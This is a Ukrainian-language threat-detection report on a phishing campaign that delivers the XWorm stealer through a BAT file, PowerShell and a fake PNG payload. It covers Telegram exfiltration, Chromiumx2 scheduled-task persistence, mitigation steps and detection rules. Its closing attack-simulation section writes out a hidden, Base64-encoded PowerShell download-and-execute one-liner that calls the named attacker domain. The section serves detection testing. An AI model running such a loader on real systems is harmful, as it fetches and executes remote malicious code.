Шкідливий скрипт доставляє більше шкоди
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Фішинг-лист доставляє шкідливий вкладений файл, що містить BAT-скрипт, який запускає PowerShell для завантаження закодованого в Base64 корисного навантаження. Після декодування корисне навантаження перетворюється в XWorm, .NET стілер, що ідентифікує хост і передає зібрані дані через Telegram-бот. Постійність досягається шляхом створення задачі за розкладом, яка періодично запускає викинутий виконуваний файл. Операція покладається на кілька елементів інфраструктури, включаючи підробний інструмент для зберігання зображень і принаймні одну скомпрометовану IP-адресу для розміщення корисного навантаження.
Розслідування
Перегляд BAT-скрипту виявив однорядковий PowerShell, що отримує файл, схожий на PNG, з домену, контрольованого атакуючим. Вбудований контент в Base64 потім очищається, перевертається і декодується для реконструкції .NET виконуваного файлу. Аналіз бінарних файлів показав, що шкідливе програмне забезпечення реєструє заплановане завдання під назвою Chromiumx2 і використовує API Telegram для командного управління і передачі даних. Слідчі виділили ключові мережеві індикатори, включаючи домен хостингу, асоційовану IP-адресу та кінцеву точку API Telegram, зазначені під час виконання.
Пом’якшення
Запобігти виконанню незахищеного BAT і PowerShell контенту, що походить з вкладених файлів електронної пошти чи директорій завантаження користувача. Застосувати дозвіл для додатків, щоб обмежити створення завдань за розкладом і виявляти підозрілі нові реєстрації завдань. Моніторити і, де можливо, обмежити вихідний доступ до кінцевих точок API Telegram і блокувати виявлені шкідливі домени на рівні DNS/проксі. Підтримувати актуальність детекцій кінцевих точок з врахуванням нових індикаторів і шаблонів завантаження на основі скриптів.
Відповідь
Ізолювати кінцеві точки, де спостерігається завдання за розкладом Chromiumx2 або Chromiumx2.exe. Видалити завдання за розкладом, видалити шкідливий бінарний файл і зібрати артефакти (скрипт, декодоване корисне навантаження, XML завдання та відповідні журнали) для судово-інформаційного аналізу. Шукати по всьому середовищу ту ж назву завдання, поведінку декодування PowerShell і трафік, керований Telegram. Скинути потенційно скомпрометовані облікові дані і повідомити користувачів про фішингове вкладення, щоб зменшити повторне виконання.
Потік атаки
Детекції
Можливе зловживання Telegram як каналу керування та управління (через dns_query)
Переглянути
Підозрілий процес використовує URL в командному рядку (через cmdline)
Переглянути
Завантаження або вивантаження через Powershell (через cmdline)
Переглянути
Schtasks вказує на підозрілий каталог / бінарний / скрипт (через cmdline)
Переглянути
Підозрілі рядки Powershell (через powershell)
Переглянути
Підозрілі файли у загальному профілі користувача (через file_event)
Переглянути
Підозрілі рядки Powershell (через cmdline)
Переглянути
Можливе використання Schtasks або AT для стійкості (через cmdline)
Переглянути
IOC (SourceIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості
Переглянути
IOC (DestinationIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості
Переглянути
Створення запланованого завдання для стійкості Chromiumx2 [Створення процесу Windows]
Переглянути
Виявлення завантаження закодованого в Base64 PowerShell корисного навантаження [PowerShell Windows]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базового стану повинна бути пройденою.
-
Опис атаки та команди:
Атакуючий хоче завантажити і виконати шкідливе корисне навантаження з скомпрометованого веб-сервера. Щоб уникнути класичного виявлення підписів, він вбудовує всю логіку завантаження-і-виконання в один рядок Base64 і викликає PowerShell з-EncodedCommand. Команда посилається на точний URL, який відстежує правило виявлення (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Кодувати шкідливе навантаження (простий завантажувач, що запускає отриманий скрипт):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64Отриманий B64 (приклад):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(скорочено). -
Виконати закодовану команду:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Цей однорядковий код генерує точну телеметрію, яку очікує правило Sigma: процес PowerShell,
-EncodedCommandпрапор і шкідливий URL всередині декодованого блоку скрипта. -
-
Регресійний тестовий скрипт:
#------------------------------------------------- # Регресійний скрипт для активації правила виявлення #------------------------------------------------- # 1. Створити шкідливе навантаження $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Виконати навантаження за допомогою закодованої команди PowerShell Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Шкідлива закодована команда виконана." #------------------------------------------------- -
Команди очищення:
# Видалити будь-які тимчасові файли (не очікується, бо навантаження струмується безпосередньо) # Припинити будь-які залишкові приховані процеси PowerShell, запущені тестом Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Очищення завершено."